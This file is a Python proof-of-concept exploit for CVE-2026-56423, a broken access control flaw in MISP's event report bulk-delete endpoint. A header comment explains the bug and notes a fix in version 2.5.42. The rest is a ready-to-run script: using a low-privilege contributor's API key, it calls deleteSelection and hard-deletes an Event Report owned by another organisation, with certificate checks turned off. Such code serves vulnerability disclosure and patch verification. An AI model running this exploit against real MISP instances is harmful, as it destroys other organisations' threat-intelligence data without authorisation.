#!/usr/bin/env python3 # CVE-2026-56423 - MISP EventReports/SharingGroups deleteSelection broken access control # # EventReportsController::deleteSelection authorizes each selected item with a # checkModifyCallback that ignores the item id and returns the caller's GLOBAL # role permission (perm_add) instead of a per-report ownership check. Any # contributor-level user (role with perm_add, e.g. the default "User" role) can # therefore hard-delete Event Reports belonging to ANY organisation, instance-wide. # The per-object `delete` action, by contrast, correctly calls # EventReport::fetchIfAuthorized($user, $id, 'delete') and denies the same request. # # Fixed in MISP 2.5.42 (callback switched to fetchIfAuthorized per item). # # Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts # License: MIT import argparse import json import ssl import sys import urllib.request import urllib.error def api(base, key, path, method="GET", body=None): url = base.rstrip("/") + path data = json.dumps(body).encode() if body is not None else None req = urllib.request.Request(url, data=data, method=method) req.add_header("Authorization", key) req.add_header("Accept", "application/json") req.add_header("Content-Type", "application/json") ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE try: r = urllib.request.urlopen(req, context=ctx, timeout=30) return r.status, r.read().decode(errors="replace") except urllib.error.HTTPError as e: return e.code, e.read().decode(errors="replace") def report_exists(base, key, rid): code, body = api(base, key, f"/eventReports/view/{rid}.json") return code == 200 and '"EventReport"' in body def main(): p = argparse.ArgumentParser(description="CVE-2026-56423 MISP deleteSelection BOLA PoC") p.add_argument("base", help="MISP base URL, e.g. https://127.0.0.1:443") p.add_argument("--attacker-key", required=True, help="authkey of a low-priv contributor (foreign org)") p.add_argument("--admin-key", required=True, help="admin authkey (used only to confirm the report exists / owner)") p.add_argument("--report-id", required=True, help="id of an Event Report owned by another organisation") args = p.parse_args() rid = args.report_id print(f"[*] target report id = {rid} (owned by another org)") # 0. confirm the victim report exists (as admin, read-only) if not report_exists(args.base, args.admin_key, rid): print("[-] report not found via admin; check --report-id"); sys.exit(2) print("[+] report exists before attack") # 1. discriminant: the correctly-authorized per-object delete must be DENIED code, body = api(args.base, args.attacker_key, f"/eventReports/delete/{rid}", method="POST", body={}) denied = code in (403, 405) or "authoriz" in body.lower() or "invalid" in body.lower() or '"error"' in body.lower() print(f"[1] contributor legit delete/{rid} -> HTTP {code} ({'DENIED (expected)' if denied else 'unexpected'})") # 2. the bug: deleteSelection authorizes by global perm_add, not ownership code, body = api(args.base, args.attacker_key, "/eventReports/deleteSelection", method="POST", body={"id": json.dumps([str(rid)])}) print(f"[2] contributor deleteSelection [{rid}] -> HTTP {code} {body.strip()[:80]}") # 3. verify the foreign report is gone gone = not report_exists(args.base, args.admin_key, rid) print() if denied and gone: print("[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection") print(" (legit per-object delete was denied; deleteSelection bypassed ownership).") sys.exit(0) if not gone: print("[-] report still present; not vulnerable (likely patched >= 2.5.42)") sys.exit(1) if __name__ == "__main__": main()